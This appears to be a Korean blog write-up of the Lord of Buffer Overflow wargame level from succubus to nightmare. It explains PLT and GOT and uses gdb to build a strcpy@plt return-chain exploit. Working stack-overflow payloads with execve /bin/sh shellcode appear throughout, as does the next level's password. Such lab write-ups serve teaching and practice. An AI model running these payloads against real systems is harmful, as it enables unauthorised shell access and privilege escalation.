728x90

succubus / here to stay

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}

이번 문제에서는 ret 주소에 strcpy의 plt 주소가 반드시 들어가야한다. buffer+40+8부터 4bytes를 'A'로 초기화하는데 buffer+40+8은 ret 주소+4의 위치다. 즉, 간단한 RET Sled를 막는다. strcpy의 plt 주소가 들어가기에 strcpy 함수를 이용해야한다.

참고로 plt와 got라는 개념이 있다.

PLT(Procedure Linkage Table): 외부 프로시저를 연결해주는 테이블로서 다른 라이브러리에 있는 프로시저를 호출한다.

GOT(Global Offset Table): PLT가 참조하는 테이블로서 프로시저들의 주소가 들어있다.

같은 파일 내의 프로시저라면 PLT가 필요없지만 외부 라이브러리의 함수를 호출할 때는 PLT가 필요하다. 링커가 PLT를 보고 함수를 찾기 때문이다.

함수(PLT)를 호출하면 GOT로 이동하는데 GOT에는 함수의 실제 주소가 있다. 첫 번째 함수 호출이면 GOT에는 함수의 주소가 없고 주소를 알아내는 과정을 거쳐서 알아낸 주소를 GOT에 저장하고 해당 함수를 호출한다. 두 번째 함수 호출부터는 GOT에 함수의 주소가 있기에 이를 바로 이용한다.

먼저 strcpy 함수를 들여다봤다.

(gdb) r `python -c 'print "A"'`
Starting program: /home/succubus/nightmare2 `python -c 'print "A"'`

Breakpoint 1, 0x80486ba in main ()
(gdb) p strcpy
$2 = {char *(char *, char *)} 0x400767b0 <strcpy>
(gdb) disas 0x400767b0
Dump of assembler code for function strcpy:
0x400767b0 <strcpy>:	push   %ebp
0x400767b1 <strcpy+1>:	mov    %ebp,%esp
0x400767b3 <strcpy+3>:	push   %esi
0x400767b4 <strcpy+4>:	mov    %esi,DWORD PTR [%ebp+8]
0x400767b7 <strcpy+7>:	mov    %edx,DWORD PTR [%ebp+12]
0x400767ba <strcpy+10>:	mov    %eax,%esi
(생략)

strcpy는 ebp+8, ebp+12 위치의 인자 2개를 이용한다. strcpy(dest,src)형태로 사용하는데 src에 저장된 문자열을 dest로 복사한다. 따라서 payload 일부만 표현하자면 다음과 같은 형태가 될 것이다.

buffer sfp ret addr(strcpy plt) AAAA dest src

이제 strcpy를 이용해 dest에 문자열을 저장할 수 있게 된 것이다. 또한 strcpy 함수 실행 후에 AAAA가 위치한 주소에 함수의 주소를 저장한다면 해당 함수가 호출될 것이다. 그 함수의 주소는 바로 쉘 코드의 주소라면 쉘 코드가 실행될 것이다.

이를 위해 buffer에 쉘 코드의 주소를 넣고 src에 buffer의 주소를 전달한다. dest는 AAAA의 주소(ret addr+4)를 전달한다. 쉘 코드는 환경 변수로 저장한다. 이제 모두 준비됐다.

0x8048721 <main+109>:	push   %eax
0x8048722 <main+110>:	call   0x8048410 <strcpy>
0x8048727 <main+115>:	add    %esp,8

우선 disas main을 통해 strcpy의 plt가 0x8048410임을 알 수 있다.

[succubus@localhost succubus]$ gdb nightmare2 -q 
(gdb) b main
Breakpoint 1 at 0x80486ba
(gdb) b *main+115
Breakpoint 2 at 0x8048727
(gdb) r `python -c 'print "AAAA"+"BBBB"+"C"*36+"\x10\x84\x04\x08"+"aaaa"+"DDDD"+"SSSS"'`
Starting program: /home/succubus/nightmare2 `python -c 'print "AAAA"+"BBBB"+"C"*36+"\x10\x84\x04\x08"+"aaaa"+"DDDD"+"SSSS"'`

Breakpoint 1, 0x80486ba in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x8048727 in main ()
(gdb) x/30x $ebp-48       
0xbffff9f8:	0xbffffb8d	0x08048410	0x41414141	0x42424242
0xbffffa08:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffa18:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffa28:	0x43434343	0x08048410	0x61616161	0x44444444
0xbffffa38:	0x53535353	0x40013800	0x00000002	0x08048420
0xbffffa48:	0x00000000	0x08048441	0x080486b4	0x00000002
0xbffffa58:	0xbffffa74	0x08048350	0x0804877c	0x4000ae60

형태를 갖춰서 payload를 전달했다. buffer의 주소는 0xbffffa00이다. ret+4의 주소는 0xbffffa30이다.

쉘 코드를 환경 변수로 설정하고 주소를 구하자.

//쉘 코드를 환경 변수로 설정
[succubus@localhost succubus]$ export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
// 쉘 코드 주소 구하는 코드
#include <stdio.h>
int main(){
        printf("%p\n",getenv("sh"));
}
//쉘 코드 주소
[succubus@localhost succubus]$ ./getenv 
0xbffffe8d

지금까지 알아낸 것들로 payload를 전달했다.

"AAAA" : dummy

0xbffffe8d : 쉘 코드 주소

"B"*36 : dummy

0x8048410 : strcpy@plt

"aaaa" : dummy

0xbffffa30 : ret+4("aaaa"주소)

0xbffffa04 : 쉘 코드 주소가 저장된 주소(buffer 내부의 0xbffffe8d 값 주소)

[succubus@localhost succubus]$ ./nightmare `python -c 'print "AAAA"+"\x8d\xfe\xff\xbf"+"B"*36+"\x10\x84\x04\x08"+"aaaa"+"\x30\xfa\xff\xbf"+"\x04\xfa\xff\xbf"'`
AAAAþÿ¿BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBaaaa0󽅺ÿ¿
bash$ my-pass
euid = 518
beg for me

왜 굳이 버퍼에 AAAA넣고 쉘 코드 주소를 넣었나?

버퍼 시작 주소에 쉘 코드를 넣고 문제를 풀다보니 core dumped가 발생하고 버퍼 시작 주소가 0xbffffa00로 바꼈다. 근데 0x00이 문제를 일으키는거 같다. 앞에 AAAA를 넣고 풀면 쉽게 풀린다.

nightmare의 비밀번호는 beg for me

참고로 쉘 코드를 환경변수로 등록하는 방식말고 argv[1]의 인자로 쉘 코드를 전달하는 방식도 가능하다. 이 경우는 payload 형태가 다음과 같다.

"A"*44 + strcpy주소(0x8048410) + "A"*4 + 바로 앞의 "A"*4 주소 + 바로 뒤의 쉘 코드 주소의 주소 + 쉘 코드 주소 + 쉘 코드

이렇게 argv[1]의 인자로 전달해도 main 함수 종료 시 strcpy가 호출되며 쉘 코드 주소가 "A"*4 위치에 저장된다. strcpy 종료시 쉘 코드 주소로 ret 명령이 실행되어 쉘 코드가 실행된다.

[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"A"*4+"\x40\xfa\xff\xbf"+"\x4c\xfa\xff\xbf"+"\x6c\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA@?풪?퓄?퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                                                               ?
bash$ my-pass
euid = 518
beg for me
bash$ exit
exit
[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"A"*4+"\x40\xfa\xff\xbf"+"\x4c\xfa\xff\xbf"+"\xfc\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA@?풪?웠?퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                                                               ?
bash$ my-pass
euid = 518
beg for me

첫 번째 경우는 main 함수 내의 stcpy 호출 시 버퍼 근처에 남아있는 쉘 코드의 주소를 이용하는 방식이고 두 번째 경우는 argv[1] 인자로 전달된 쉘 코드의 주소를 이용하는 방식이다. 푸는 방식은 다양하다.

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

xavius -> death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01

+ Recent posts